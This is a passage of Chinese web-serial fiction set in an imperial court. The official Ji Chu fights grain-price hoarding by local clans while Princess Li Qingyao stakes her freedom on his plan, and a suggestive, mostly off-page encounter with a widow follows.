她一身墨绿色的襦裙,淡妆典雅,月光下倒是显得娇俏可人。 季褚赶忙避开视线,“拿些钱财给值夜的兄弟买些吃食,没什么事,你也早点休息。” 竹儿从荷包里掏出一张百两银票,比划了一个手势,立刻有人跳下屋顶,“季大人赏的,去买些酒肉分给众兄弟。” “谢季大人,谢竹儿姑娘。” “去吧!”竹儿把钱交给对方,迈着莲步跟进了季褚屋子。 “大人,奴婢帮你宽衣。” “有劳了。” “今晚要沐浴吗?” “罢了,这几天你也累的不轻,早点休息吧!” “大人可是有心事?”竹儿一双巧手,快速在季褚身上游走。 季褚老脸一红,他确实有心事。 好几天没开荤了,属实憋闷的难受,但这话又怎么好提。 尤其是嗅着竹儿身上那股灵韵清爽的幽香,小心脏便忍不住一阵躁动。 “无事,你且下去吧,早点休息。” 竹儿古怪的看了季褚一眼,这家伙怎么了,该不会是今个被自己用毒吓着了吧? 一想到这儿,竹儿心里也不由一阵吃味。 毕竟看这情形,自己以后早晚会被公主许配给季褚。 万一因为此时惹得他不喜…… 看来,得做点什么挽回一下形象了。 “大人,今晚就让奴婢在旁侍寝吧!” 侍寝? 季褚咕咚一下咽了口唾沫。 这么突然的吗? 可突然又想到了什么,赶紧轻咳一声,“本官不是你想的那种人。” 让她侍寝,还不如找大熊妹妹,起码人家直截了当,看得见,摸得着,说拔剑就拔剑。 竹儿万一给他下点什么毒,整点暗疾出来,他还不得哭死。 竹儿俏脸一红,“大人说的什么话,竹儿虽是丫鬟,但也绝非那种随便之人,我是说在床榻旁为大人扇风驱赶暑气。 大人连日用脑,奔波在外又不得歇息,而且还努力练功,好不容回来,奴婢只是想让大人睡的踏实些。 大人怎可这般想奴婢,简直羞死个人了。” 说着,她轻轻一跺脚,便背过身去,那番娇滴滴委屈巴巴的小模样简直比真的还真。 季褚整个人都亚麻呆住了。 不是,你这唱哪出啊? 竹儿嘴角微勾,怜香不就擅使这招吗,这回你应该不怕了吧? “咳,是我想多了,竹儿姐姐切勿生气。”季褚尬笑道:“你去休息吧。” “大人是不喜竹儿了吗?”竹儿慢慢回眸,一双小鹿眼,不知何时已经布满了水汽,大有说下雨就下雨的架势。 季褚浑身一紧,下意识噔噔退后两步,“竹儿姐姐,咱有话好好说,你别这样,大晚上的挺吓人了!” “那大人还是讨厌竹儿。” “不不不,怎么可能,绝无此事。” “那为何不让我侍寝,是不是担心我趁你睡着下毒?早知这般,竹儿就不该掏心掏肺对大人,把自己的秘密都告诉给了大人,呜呜呜……终究是竹儿错付了。” 说罢,两行清泪顺着竹儿眼角滑落,捂着嘴便哭哭啼啼跑了出去,只留下了一脸懵逼的季褚,好半晌都没回过神来。 却说另外一边,竹儿回到卧房,立马擦掉了眼泪,来到梳妆镜前重新复盘了一下方才的演技,越看想越觉得稳妥。 毕竟平日里怜香总就是这般楚楚可怜,把季褚拿捏的死死的。 “哎,早知如此,我多什么事啊,练死你才好。”竹儿谈了口气,起身走向了床榻。 季褚倒在床上,翻来覆去,覆去翻来。 不知何时,意识越来越沉。 睡梦中,可谓是左含香右清瑶,还有一个他未曾见过,却总是能梦到的模糊倩影坐在一旁拨葡萄,那小日子简直给个神仙都不换。 “大人,大人……醒醒,大人……” 感受到有人推自己,季褚迷迷糊糊睁开眼,就见竹儿和韩江雪全都一脸焦急的站在窗前。 出溜一下便坐了起来,“怎么了,出意外了?” “那倒没有,醒了就好,我看看大夫请来了没有。”韩江雪说完,快步出了屋。 “大人,你是否哪里不适?” 季褚刚起来,脑瓜子懵懵的,“没有啊!” “那你……怎得尿床了。” 季褚??? 他低头一看,瞬间就是一句窝草,赶忙扯过床上毯子盖在身上,整张老脸腾腾的,好似有什么东西往外拱。 “把手给我,我再帮你号一下脉。”竹儿弯腰坐到了踏上,“奇怪,怎得查不出问题呢。” 第45章 万民血书现朝堂,梁皇太子全麻了 季褚臊的恨不能找个地缝钻机去,赶忙避开她的手,背过身去,“去去去,没病能查出问题才见鬼了。 我这是火气旺,跟你一个小丫头说不明白,你赶紧把大夫打发走了。 打点水来,我洗一下换身衣服就好。” 正说着,韩江雪已经带着一个战战兢兢的小老头走了进来。 “大人,小老儿是济世堂坐诊大夫,敢问大人有何不适?” 季褚:…… 不是,你们一个二个都啥毛病啊? 我特娘就做了个美梦,至于这般大张旗鼓? 若非看她一个二个满脸着急,季褚甚至都怀疑她们是不是想借机让他颜面扫地。 “辛苦大夫了,我无事。”季褚尴尬道:“韩大人好生礼遇,送这位大夫出去。” “当真无事怎得一觉睡到巳时?当真无事,你为何尿床?季褚,殿下让我等务必保证你的安全,那女刺客的毒,竹儿便解不掉,以防万一,还是让大夫查一查吧。” “真不用,我自己的身体我自己清楚。” “好言相劝你不听,那我只能动粗了。”说着,韩江雪快步上前。 “住手……韩江雪,你过分了啊……呜呜呜……” “查!” “好!”老大夫战战兢兢上前,把手搭在了季褚脉搏上。 “呜呜呜呜……”季褚欲哭无泪了都。 想他七尺男儿,竟被一女人轻而易举制服。 练功,必须还得练功。 “我能掀开毯子看一看吗?” “看!” 随着身上毯子掀开,季褚绝望的闭上眼,只觉一直大手摸了一下。 随即就见老头念了念手指,满脸尴尬的躬身退后。 “呜呜呜……” 季褚瞪眼挣扎,试图威胁对方不要乱说。 “老先生,看出是什么毒了吗?”竹儿着急问道。 “咳……”老郎中显然也是尴尬的不行,“要说毒,也算毒,应该是情毒的一种。” “世间情毒三百二十四种,敢问先生,我们家大人中的哪种?” “我给你写个方子吧,还请务必等小老儿离开后再行打开。”老头也是个人精,一个女将军,一个妙龄婢女,显然那都是未经人事,他真怕说多了,会被人一剑斩了。 韩江雪看了竹儿一眼。 竹儿点点头,“烦请先生开方。” 老头赶忙走到一旁的桌子旁坐下,提笔研磨,刷刷几笔便把纸给合上,“方子已经开好,那小老儿就告退了。” 说完,拎着药箱便匆匆跑了出去,腿脚利索的根本不像小五十的老头子。 竹儿匆匆上前打开纸条,“欲解此毒,给郎君娶个夫人,或去城中百花楼寻一姑娘?” 说完,竹儿的脸腾的一下红了,她不是不懂,只是季褚怎么叫都叫不醒,从来没往那方面想。 合着叫不醒,是被美梦魇着了啊! 韩江雪方才也光往刺客下毒上面想,毕竟先前就发生过刺杀,季褚所行之事早已天怒人怨,天知道有多少长葛百姓想要生啖其肉。 结果,就这? 亏她那么担心。 隂贼果然是隂贼,做个梦都不不做好梦。 “呸,下贱,早晚给你割了!”韩江雪送开手,清淬一口,甚至用上了轻功,直接翻出了窗户。 季褚拉过被子,直接蒙住了脸,“还等什么,打水去,今日之事谁也不许外传。” 娘的,他这是造了什么孽啊! 都说了,年轻,火气旺。 简单一件小事,非得整复杂化,非得整复杂化,遇上这样一群猪队友,他也是够够的了。 季褚还在纠结掉地上的脸面如何捡回来,远在京城,他却再次在皇帝百官面前漏了个大脸。 朝会。 梁皇放下折子,满意的点了点头,“老三此番办差,确有乃父之风!长杜粮价一事,原是棘手难题,经你三两下便理得顺顺当当,既让百姓得了实惠,又不失朝廷体面。 好!好!好!这才是我皇家子弟该有的气度。” 长杜粮价已从之前的两百多文一斗,骤降到了一百二十文,虽不及正常年月的八九十文,但也算是看到了希望。 其实梁皇心里清楚,这一切的功劳,全赖老三背后的世家。 可身为皇帝,自有他考虑问题的角度。 大梁朝虎据中原之最,整体国力远超周边小国总和,哪怕去年和北戎的战争伤筋动骨,没能夺回燕云十六州,但怎么可能一点粮食都挤不出来。 说白了,真正的忧患从来不在外部,而是内部那些关键时刻就拖后腿的世家。 就儿子们那点小心思,他这个当爹的看的透透的。 刚好利用这次天灾,让儿子们斗一斗,好消耗一波背后支持他们的那些世家。 李智得到父皇朝堂夸赞心中甚是得意,立刻出班,谦逊道:“儿臣不过是依着父皇平日教导,略尽绵薄之力,若无父皇指点,儿臣何能有此。 帮着父皇分忧,是儿臣的本分。” 说着,他更是挑衅一般看了李清瑶一眼,显然是在暗戳戳的上眼药。 梁皇龙颜大悦,“吾儿能持此谦冲之态,实乃难得。 不矜不伐,深得朕心。此等胸襟,足见皇家气度,他日必成大器。” 眼瞅着光在那里父子情深,也不来点实际的,立刻有大臣出班喊道:“臣启陛下,三殿下以仁德之策,解长杜之危,既安黎庶之心,又复振朝廷之威。 此等功绩,实为皇亲典范,当赐以殊荣,以彰其贤。” “臣附议,三殿下睿智之才,惠泽万民,重振朝纲,此等勋绩,更应厚赏,以彰其德,以励其志!” “臣附议!” 见有人打头,陆陆续续又有好几个大臣出班附议。 这么多人请赏,三皇子未必能记住你站出来,但你没站出来,三皇子肯定记得住。 不多时,呼啦啦便跪倒了一片。 梁皇将这一切尽收眼底,原本肃穆的脸上多了一丝不易察觉的冷笑,“国有常法,功过自有分明。 既立下如此大功,自然不会轻轻接过。” 李智本来还很高兴,见礼部尚书朝着自己微微使了个眼色,瞬间警觉起来。 看似重臣拥戴,实则暗藏玄机。 因为他发现除了各部几位主事的天官,连支持二皇子的人都跪下为他请赏,分明就是在推波助澜。 这是干嘛? 逼宫吗? 思及此,李智后背都冒出了一层冷汗,连忙躬身行礼,“感谢诸位大人抬爱,平抑粮价本就是我等臣子分内之事,何敢居功自傲。 赏赐一事,父皇英明神武自有明断,儿臣绝不敢忘求。” “老三,莫非在你眼里,父皇就是那般赏罚不分?” “父皇,儿臣绝无此意。” 梁皇呵呵一笑,“起来吧。” 李智脑子转的飞快,立马想到了一个台阶,“父皇,长杜粮价一斗百二十文只是打底,百一十文不少,跌破一百咱们三日再瞧,届时父皇再论功行赏不迟。” “好好好,吾儿有此雄心,那便三日后论功行赏,诸位爱卿若无其他事情,那就退朝吧!” “报!” “报,长葛八百里急报,万民血书……” 原本准备下朝的众官员具皆一凛,齐齐看向殿外。 一个小太监匆匆跑了出去,不多时捧着一块血刺呼啦的布,战战兢兢回到了大殿。 左春快步上前一把抢走血书展开一目十行的看了一遍,脸色越发狰狞起来。 “陛下,长葛县令高士奇再次请求圣旨诛杀奸佞。 今有奸佞当道,罪行累累,罄竹难书。 季褚此人荒淫无度,携美姬昼夜游宴,不理政务,致使长葛境内十室九贫,饿殍盈野,民不聊生。 视天子法令如草芥,视百姓如蝼蚁。 欺君罔上,蔽塞圣听,此等行径,悖逆人伦,国法难容,万民不堪其苦,自发联名血书,以朱砂为墨,以指节为印,泣血陈情于县衙。 伏乞陛下速降明诏,诛此奸佞,以慰万民之心,以正朝纲之乱。” 这话一出,宛如平地起了一声惊雷。 就连龙椅上的梁皇都坐不住了,立马走下龙椅。 万民血书,他爹他爷都没接过,他何德何能啊! 莫不是真的玩漏了? 梁皇一目十行,看完上面内容,脸色骤然难看到了极点。 而此刻,太子已然面如死灰。 万民血书啊! 他爷他太爷都没接过,他亲手给他爹送了一封,他何德何能这般孝顺。 再看皇姐,发现李清瑶错愕中带着一丝疑惑。 李清瑶确实很疑惑。 因为这和她收到的信息完全不同,她还打算今日下朝就去找父皇,请示如何惩治那长葛五大世家,顺便请旨前往长葛,配合季褚接下来的行动。 可万民血书不是儿戏。 难不成消息有误? 可季褚再厉害,也不可能短时间内就把自己的人全部策反,更何况还是这么大的事。 就他那怕死的性子,有这么大胆子胡闹? “父皇,此事必然有误会。” 梁皇看都没看对方一眼,“宣驿使。” 第46章 摘凤冠请下狱,公主豁出去了 不多时,风尘仆仆的驿使就被带进了大殿。 八百里加急,换马不换人其实都是谬传。 连续日行八百里,对人对马都是极限挑战,单人肯定无法承受,因此官方驿传体系采用的都是接力方式。 不过长葛距离京城不过百里,而且高士奇料定血书送上,皇帝大臣肯定要询问具体,所以临行前特意交代,一定要驿使亲自送往京城,若遇询问,就把季褚近日所作所为说个清楚。 “朕问你,这上面写的可是真的?”梁皇拿着血书,气的手都在颤抖。 “回,回陛下,句句为真。季大人不仅不理政务,下达命令后便带着身边女眷各处游玩。 美其名曰,是为了迎接太子妃鸾驾。 之前便扬言招募民夫修缮城池。 高大人几次劝阻,都被季大人强行叫人叉出去……” 轰! 李康整个人都呆麻了。 咋还有太子妃的事儿? 我娶媳妇你多什么事儿,简直岂有此理,谁给你这么大的胆子,竟敢僭越皇太子纳妃? 而听到还牵扯到了太子妃,三皇子和二皇子纷纷挑起了眼眉,全都不约而同的朝着自己人使眼色。 可向来喷天喷地喷空气的左春左大人,眼里最容不得沙子,压根不给别人机会,“老夫为官数十载,还从未见过如此罔上欺君之人! 无视君主权威,欺瞒朝廷法度! 此等行径,当诛十族。” 怒了,他老左是彻底怒了。 正常年景劳民伤财,为了天家颜面,他老左不挑你理儿。 可眼下是啥时候? 百姓都快饿死了,你竟还敢重赋加身,只为博得太子妃一笑。 属实是岂有此理。 见他连诛杀十族这种话都喊了出来。 踩肯定是不能再踩了,那般落井下石,必惹父皇不悦。 二皇子立刻抢先说道:“父皇,儿臣见此等奸佞横行,国法难容,民怨沸腾,实难坐视,还请父皇降旨,诛杀奸佞,以慰黎庶之望!” “臣附议!” “臣等附议!” 一时间,大殿之上,附议之声彼此起伏。 放眼望去,大臣皇子跪了一地。 李清瑶立在那里,宛如鹤立鸡群。 他信季褚之谋,更信韩江雪的忠诚。 所以料定肯定有什么误会。 可想是这样想,那跪了一地请旨的大臣,也令李清瑶一时间觉得棘手万分。 季褚啊季褚,你也太高看了本宫了,本宫真有点兜不住了。 咋办,咋办呀! “啊啊啊,狗奴才,你别回来了,等你回来,本宫一定打烂你的屁股!” 李清瑶把心一横,深吸口气摘下了头上凤冠,跪到了地上,声音清亮,“父皇,儿臣深信季褚之能,今愿摘凤冠,跪请下狱,以己身为其担保。 十日之期未满,乱局未定,两地传讯或有延误。 然,乱象非朝夕之故,愿再待数日。 若十日未解粮荒,儿臣甘愿以死赎罪,慰灾民冤魂,正朝纲之乱!” 说完,重重叩首,“还请父皇应允!” 看着跪地不起的女儿,梁皇便忍不住想起了发妻。 诸子什么德行,他这个当爹的能不清楚吗? 大女才略超群,不管是审时度势的果断,明辨是非的智慧,还是笃定从容的担当,都是未来君王的上佳人选。 可惜不是男儿。 “准!”梁皇哼了一声,不再等众大臣开口,便说了一声“散朝”,而后快步出了大殿。 “阿姊!”李康快步跑上前将李清瑶搀扶起来,“此又何苦?天牢污秽之地,您何苦自受? 季褚所惹之祸,自当由其承担,大不了,将他逐出便是。 天下有才之士多入牛毛。 可康儿却只有一个阿姊。” 听前面,李清瑶很是欣慰,可听到后面,让她不禁想起季褚那日所说的担忧,气的愤然振袖,“前有将士为君冲锋陷阵,今闻此语,岂是仁君所言?岂非寒天下将士之心!” 李康慌忙攥住她的衣袖,声音哽咽:“阿姊,康儿唯恐你有闪失,若你有何不测,康儿此后孤身一人,便再无至亲可依,如何能不负母后临终之托?” 见他眼含泪花,字字带着情谊,堂堂储君竟做这般孩童状,李清瑶终究还是心软了。 罢了,他毕竟还是个孩子。 李清瑶叹了口气,“康儿,你且谨记,身为储君无论身在何处,切莫寒了将士之心。 为君之道,首在容人。 你看左大人上蹿下跳,父皇可曾亏待他半分? 此事休要再提,长葛之局,阿姊自有权衡。你且安心学习大婚礼仪,其他事情莫要多涉。” “谢阿姊教诲,康儿明白!” 目送李清瑶被甲士带走,李康阴沉的扫了一眼二皇子等人,轻哼一声,也在太监服侍下回了东宫。 长葛! 今日粮价如脱缰野马,再度狂飙,一斗之米竟贵至一两五钱。 虽数日前便已攀升至令人咋舌的天价,可民以食为天啊,饿肚子那是真能饿死人的。 故这几日,纵使粮价高得令人窒息,城中百姓亦如蝼蚁那般倾尽所有砸锅卖铁,只为换取几口活命的粮食。 心中骂着贪官十八辈祖宗,可实际行动却主打一个,能活一天,算一天。 其实说白了,别管什么时代,底层老百姓的韧性都一样,但凡有口吃的,谁也不愿意铤而走险揭竿而起。 反的人多了,哪个朝代没几次民间起义,可真正能令日月换新颜的又有几次? 换了又如何?日子该苦还是得苦。 所以没到弹尽粮绝的地步,谁也不敢率先走那一步,领着乌合之众造反。 乌合之众也许可以免罪,可打头之人必死无疑。 而就长葛目前的局势来看,怕是离着那天也不远了。 同样的道理,历朝历代都不缺少野心家,趁乱崛起的枭雄,暗地里已经有人开始磨刀霍霍相互串联,只等压垮骆驼的最后一棵稻草落下,便当那星星之火引爆全城。 可今日粮店前大排长龙的景象并未发生,属实打了所有人一个措手不及。 只因有人发现,城门口一早便陆陆续续有粮车抵达送入府仓。 愚民政策下的老百姓你可以说他没见识,但绝不能说他傻。 老百姓一观望,野心家们默默收起磨刀石准备再观察观察,可五大家主坐不住了啊。 好你个季褚,说好的一起玩耍,你半路下车。 没问题,下就下。 可你丫现在干嘛呢,居然想连车一块翻了…… 言而无信,出尔反尔,收钱不办人事,简直毫无读书人的品格,毫无做人的基本道德。 五万两啊,昨晚刚送过去,今天就给他们来了这样一出,大家瞬间有种被戏耍的冲动。 拿出书信一看,那是越看越不对劲,这哪里是什么君子契约,分明就是诛族的证据。 大家也终于回过味来,季褚是特娘的料定了大家不敢公之于众,只能吃下这个哑巴亏。 沉没成本太大,穿鞋的只能怕了他光脚的。 谁让他们遇上这样一个不按常理出牌,且毫无道德底线的人呢。 不过五大家族也不是吃素的,盘踞长葛百年,三教九流哪方面没点关系,还真让他们查出来了假粮车的事儿。 这一下,季褚的意图几乎摆在了明面上。 试图用假粮车混淆视听,然后迫使他们降价,也好向太子交差。 面对此等左右摇摆的奸诈小人,他们也不再客气。 自知了解了季褚的真正意图,五大家主索性一不做二不休,再次抬高三成价格,且派人暗中散布流言,称运入城中的粮食并非平价之粮,实乃为府衙招募劳工所备之粮。 反正大家都有把柄在,你季褚不仁,就别怪我们不义。 消息流传开来,原本门可罗雀的府衙招工点,顿时挤的人满为患,全是来打听是不是真的,眼看就有不可控的趋势。 高士奇急的额头冒汗,因为假粮车这事儿季褚没有瞒他,也瞒不住他,自然知晓哪里有什么粮食,分明就是一车车沙土。 他以为季褚是想给城中百姓一点希望,说不定看到粮车入城,五大家族担心粮食砸手里就会降价。 没想到,五大家族直接给他来了一招祸水东引。 人可以招,大不了先登记,然后叫人回去等消息。可一旦开工肯定就得管饭啊,到时拿不出粮,那些工人还不把他给煮了吃掉? 可迟迟不开工,季褚的命令完成不了,老百姓的肚子也等不及啊! 他高士奇上辈子造了什么孽,这也太难了吧! 他匆匆赶到后衙准备找季褚要个说法,还没进院子,就被侍卫拦住。 “我要见季大人。” “大人病了,现在谁都不见,县令大人请回吧!”韩江雪道。 “现在外面谣言四起,招工点也是人满为患,下官想要一个明确答复,何时开工,具体招募多少人,招到的工匠如何解决温饱问题,还请韩大人通传一声。” 见他一副急不可耐的模样,韩江雪只能点头前去询问。 季褚此刻正在房间里急的来回踱步,见韩江雪进来,顿时激动道:“可是公主有回信了?” “暂无,倒是高大人又来问了……” “这个老高,简直就是个死脑筋,你去告诉他,具体要多少工匠,就按照本官的计划书来,今日招工,明日开工,温饱问题不用他操心。” “喏!” 目送韩江雪离开,季褚的大刀早已饥渴难耐,跑到窗户前,喊道:“还需要多久。” 嗖! 屋顶垂下一人。 好在季褚已经有了准备。 “不知!” “有消息,立刻告知!” “喏!” 嗖的一下,那人再次挂了上去。 外面发生的事,季褚这边早就知道了,放假粮车入城,确实有稳定民心的意思。 但他很清楚一个道理,这种事骗骗老百姓行,假粮车的事儿肯定瞒不住盘踞长葛百年之久的五大家族。 他就是要故意卖破绽给对方,让对方恼羞成怒做出更不理智的事情,如此一来,一旦公主那边有回信,他便将那封罪状公之于众,向五大家族挥起正义的屠刀。 届时,五大家族存粮,再加其他想来分一杯羹的外地粮商,足以解决当前困局,他还能趁机帮公主捞上一笔。 罪证上还有他与五大家族沆瀣一气的实证? 啊呸,那分明是季大人,为了满城百姓,忍辱负重,背负骂名的功勋。 然而这一等,却一直等到了傍晚,才收到京城传来的飞鸽传书。 季褚激动的打开纸条,一目十行的看了下去。 “猪队友,猪队友……高士奇,你特娘的误我……啊啊啊,草。” 季褚看完信使劲一拍脑门,愤怒的恨不能现在就拔剑去砍了高士奇。 韩江雪拿起纸条看了一眼,“万民血书……公主自请下狱以性命担保……希望季大人尽快解决长葛危机。” 轰! 韩江雪脑袋里一片空白,一个踉跄险些没能站稳。 第47章 给宋夫人送温暖,夫人主动投怀 这几日的计划她全程参与,从季褚展现出贪婪嘴脸骗五大家族钱开始……她深知季褚为了每一步都顺利成功,做的是何等小心翼翼,详细周密。 没想到,如此一招完美的声东击西,骗了所有人的计划,竟然因为高士奇满盘皆输。 “季褚,现在怎么办?如果今天不能拿下五大家族,明日一旦开工,恐……” 说到这,韩江雪已经说不下去了。 不能解决眼前的问题,公主那边很难收场,哪怕梁皇念及父女亲情,怕是以后也休想再踏入朝堂半步。 此刻季褚的心可以说是相当的乱,既有对高士奇的恼羞成怒,又有对李清瑶的难以理解。 自己的计划,她全知晓,可这份信任也未免太重了些。 重到不知道以后该怎么还…… 难不成要给她当一辈子面首还债? “不如,一不做二不休,我这便调兵入城。”这时,韩江雪阴恻恻的说道。 “胡闹!”季褚骂完街,接过竹儿递过来的茶润了润喉,“要是真有你想的那么简单,还用等到现在?昨日拿到证据,我就让你带人抄家了。” 身为穿越者,他太清楚程序的合法性了。 别看五大家族在世家群里就一小卡拉米,但那也是入了群的,贸贸然动他们,就等于动了一群人。 如今靠山自身难保,万一这个时候群主带着一群人出来打群架,老皇帝遭得住吗? 为了江山稳定,为了保住自己闺女,梁皇肯定会用他来平息世家的怒火。 更甚者,那些人会让李清瑶用现在的一切换命,毕竟是她自己当朝请愿。 如此求仁得仁的机会,另外两位皇子会放弃? 那时,太子再无外援迟早会被赶下台,而李清瑶身为亲姐姐也会被秋后算账,赶尽杀绝。 “那你说怎么办?” “慌什么!”季褚不急不慢的嘬了口茶。 韩江雪简直惊呆了都,我不慌?都这种时候了,我能不慌吗? 汝要不要闻闻自己刚才说的什么话? 可看到季褚一脸淡然,莫名的又是一阵心安,欣喜道:“大人,莫非已有良策?” “废话。”季褚斜睨的对方了一眼,“若是没想到最坏的结果,岂对得起你们经常夸我一肚子坏水?” 韩江雪急的一跺脚,“哎呀,你就别卖关子了,你不是想女人了吗?如果真能解决问题,我做主,今晚就让竹儿为你暖床。” “噗……” 季褚一口茶水直接喷了一地。 他喷的哪里是让竹儿暖床,喷的是韩江雪竟然还会撒娇? 别说,还挺有味道的。 竹儿这会儿早已羞的面红耳赤,“郡主,你在说什么呢……” 说着,有意无意瞄了季褚一眼。 如果他想,自己也不是不能牺牲一下。 反正早晚都是他的人。 “咳咳,暖床就不必了,倒是郡主得答应我一个要求。” 韩江雪莫名打了一个寒颤,立刻握住了剑柄,“我警告你啊,不要得寸进尺,想要本郡主给你暖床,做梦!” 季褚:…… “我说你那脑子里每天想的都是什么?难道本官在你眼里便是那般肤浅之人?” “难道不是吗?” “当然不是!” “那早起……” 季褚噌的一下站起身,“打住啊,我问你,宋夫人何在?” “城外十里的顾家庄,顾家庄庄主乃是宋家故旧,难道你想求助宋夫人?”韩江雪一脸错愕,随即蹙眉摇了摇头,“不可能的,宋家已经铁了心的投靠三皇子,不落井下石就不错了。 哪怕公主现在愿意为宋家诞下子嗣,宋家也不会出手,因为宋家嫡女已经入了三王府。” 季褚冷笑一声,“谁说要求,要求也是宋夫人求咱们。备马,点齐兵将随我出城给宋夫人送温暖。” …… 城外。 顾家庄。 宋夫人朱玉润刚刚结束宴饮,有些的厌烦的回到住处。 这几日她一直派人关注城中动向,在她看来,此时就是抛售粮食的最好时机,毕竟那二十万石粮草已经是宋家砸锅卖铁最后一搏了。 此时售出绝对能赚的盆满钵盈,连带着之前的损失也会一并弥补。 可临行前女儿却带来了三皇子的命令,要求她配合行动。 如今已经上了船,她还能怎么办? 配合,人吃马嚼,每天下来都是一大笔支出,更甚者,昔日宋府家仆,如今的顾家庄庄主,竟然对她流露出了那种意思。 只叹人心不古,不知何时,宋家竟然沦落至此。 不配合,先前投资尽皆打了水漂。 就很烦。 她刚让婢女打来洗澡水,准备沐浴一番睡下。 哪成想这时顾家小厮慌张来报,顾家庄已经被兵包围,有人点名要见她。 季褚看着面前雍容华贵,肌如白雪,风韵犹存的朱玉润,情不自禁的上下打量了几眼。 大! 是真大。 莫非这位宋夫人也是一名隐藏高手? 毕竟,在季褚的固有印象里,这个位面的实力与大小挂钩。 韩江雪如此,赵娘子亦是如此。 突然又看到一个大的,季褚有些后悔,没带韩江雪进来。 不过一想到自己衣服里藏的那些药,想必自保应该没有问题。 只是,这宋夫人也太年轻了吧? 真是宋辉他妈? 说是宋辉他大姐估计都有人信。 朱玉润来到堂前,见只有一个年轻人,而且还一个劲的盯着自己看,下意识抬手遮在胸前,蹙眉道:“敢问大人,不知深夜唤民妇前来有何贵干?” 对方口称民妇,也确实是民妇,毕竟她家的爵位已被褫夺。可对方毕竟还有另外一个身份——长公主的婆婆。 季褚不敢怠慢,立刻起身行礼,“下官季褚,见过夫人。” “你便是季褚?” 朱玉润眸中怒火灼灼,得知眼前之人便是那坑骗自家百万两银子的奸佞之徒,心中早已愤懑难平,冷哼一声道:“我当那卑鄙无耻,阴险狡诈之辈,定有什么三头六臂,却不想也不过是这般庸俗之徒。 夜深了,不妨有话直说,本夫人可没闲情逸致陪你浪费时间。” 季褚却也不恼,从容踱回椅畔坐下,故作高深地端起茶盏,轻抿一口,“夫人说笑了,长夜漫漫,怕是夫人也无心睡眠吧!” 那么多粮食藏在顾家庄,自己如今带人前来,就不信对方还睡得着。 可这话听在朱玉润耳朵里,莫名就是一阵紧张。 莫非,这个混蛋也想染指老娘的美色? “你究竟意欲何为?”朱玉润柳眉紧蹙,警惕的目光,直直望向季褚。 “我什么意思,就看夫人想要如何取舍了,是想宋家几世辉煌得以延续,还是就此沉沦,全在夫人一念之间。”季褚淡淡笑道,可心中却苦涩万分。 终究,他还是活成了自己讨厌的样子啊! 以前的他,最痛恨的就是老谜语人。 可现在,他不得不承认,有时候还就得用老谜语人的方式解决问题。 因为只有先让对方自乱阵脚,自己才有机会说服对方。 果然,这话一出,朱玉润已经有点慌了。 也由不得她不多心,季褚深夜带兵前来,刚见面就用那种眼神看自己,分明就是想连吃带喝。 而且还上升到了家族的生死攸关……她不慌才怪。 守寡十五载,让自己委身于他,怎么可以…… 朱玉润背过身去,脸颊微微有些发烫,“我,我听不懂大人是什么意思,若是没甚要紧之事,就不送大人了。” “不瞒夫人,明日我会下令,全城粮价不得高于一百二十文,违令者杀无赦,并抄没一切粮草。 若是我没猜错,夫人存在顾家庄的二十万石粮食,已经是贵府全部家当了吧? 一百二十文还有的赚,可如果我下令粮价不得高于八十文,夫人会不会血本无归?” 朱玉润心头咚咚咚打鼓,对于仇人,她自然也了解了很多。 此人为达目的,不择手段,完全不在意自己的名声。 如今深夜前来,又与她说了这么多,可见他一定敢这么干。 但她朱玉润也不是吃素的,微微侧脸冷声道:“大人莫不是已经黔驴技穷了?百二十文也好,三五十文也罢,与我又有何干?不过是亏些运输成本,再运回去便是,我宋府还撑得起这笔损失。 若无其他事,大人回吧,本夫人也乏了。” “夫人自然可以回去,但那些粮食未必回得去。” “你什么意思?” “城中有人作乱,本官身为朝廷命官,就地征粮平乱,大难临头,夫人也不想担上一个延误战机的诛族死罪吧?” “季褚,你敢……” 她慌了,她彻底慌了。 季褚心中暗喜,立刻打起来感情牌,“我有何不敢,夫人,你怎这般糊涂,你我本是一家人,本应携手并进,休戚与共。可夫人却只瞧见了眼前投靠三皇子的利益。 殊不知,在三皇子眼里,如宋府这般左右摇摆,立场不坚定之人,即便将来登基也不会得到重用。 今日宋府能为了利益转头三皇子,他日遇到更大的利益,宋府是否会转投他人? 乾坤未定,谁言谁是黑马? 世家一直圣人心里的一块病,都说太子要倒,可太子倒了吗?为何,还不是因为圣人不想世家继续做大。 不管是三皇子,还是二皇子,哪个背后没有世家支持?当年,陛下又为何赐婚宋府? 您自己好生琢磨一下。 如果愿意,我可以代表公主,重新接纳宋府。” 说完,季褚便端起茶盏优哉游哉品了起来,这一拉一抻,拿捏的死死的,简直完美,他就不信朱玉润真有那么糊涂。 朱玉润握紧的拳头松开,然后再握紧。 她自是明白季褚说的道理。 半晌过后,似乎终究下定了决心。 她是真心累了,而且季褚今日带兵前来,哪怕自己不答应,对方肯定也会有别的手段。 人为刀俎,我为鱼肉。 没得选了! 她微微侧眸,发现季褚顺眼了不少,至少比顾家主那个老东西强得多。 更何况,此人虽然行事手段卑劣了些,但从市井流传出来的诗词来看,倒也是个有才之人,今日便已是公主身边红人,一旦太子登基,起码也是某部天官。 有他帮衬撑着宋府,将来未必没有机会。 “我,肯定也要付出一些代价吧?” “自然!”季褚点点头。 朱玉润莲步来到季褚身边,突然抓住他的手,一阵香风拂面,人已经坐到了怀里,“那我便依了你这冤家。” 季褚愕然瞪着那几乎贴到了脸上的庞然大物。 不是,我是谁? 我在哪儿? “怎得,还想让我主动?罢了,我便依你。” 朱玉润白皙脸上泛起一抹红霞,捧起季褚的脸便吻了上去。 “夫人,唔……” 第48章 羞煞我也,夫人您可是害苦了我啊 两炷时香悄然燃尽,大堂屏风后的小榻上可谓是春意盎然。 “羞煞我也,夫人,您可是害苦了我啊……”季褚痛心疾首的抱着对方。 朱玉润脸上散发着醉人的绯红,些许凌乱的发丝黏在脸上,配上那双水一般的眸子,仿佛一眼就要把人的魂给勾走。 “郎君方才像个将军,杀的妾身丢盔弃甲时,怎得不说是妾身害了你?”朱玉润抬起白指轻轻点在了季褚额头上,“既然郎君怕羞,为何还不放开妾身,莫非还要征伐一番?” 独守空闺十五载,青灯黄卷伴古佛,一朝解脱,朱玉润突然明悟,此般坚守,竟似水中捞月,徒劳无益,宋家之倚,不在皇子,而在自身根基。 你有梧桐木,自有金凤息。 梁木坚挺,何须攀附他人,观他宋氏先祖,先积万贯家财,才得梁太祖亲临求助。 自身若强,何须主动攀缘,世人自会如蚁附膻! 季褚不仅诗才冠绝,计谋深远,生财之道亦非常人可及。若得他运筹帷幄,宋府之兴,指日可待。 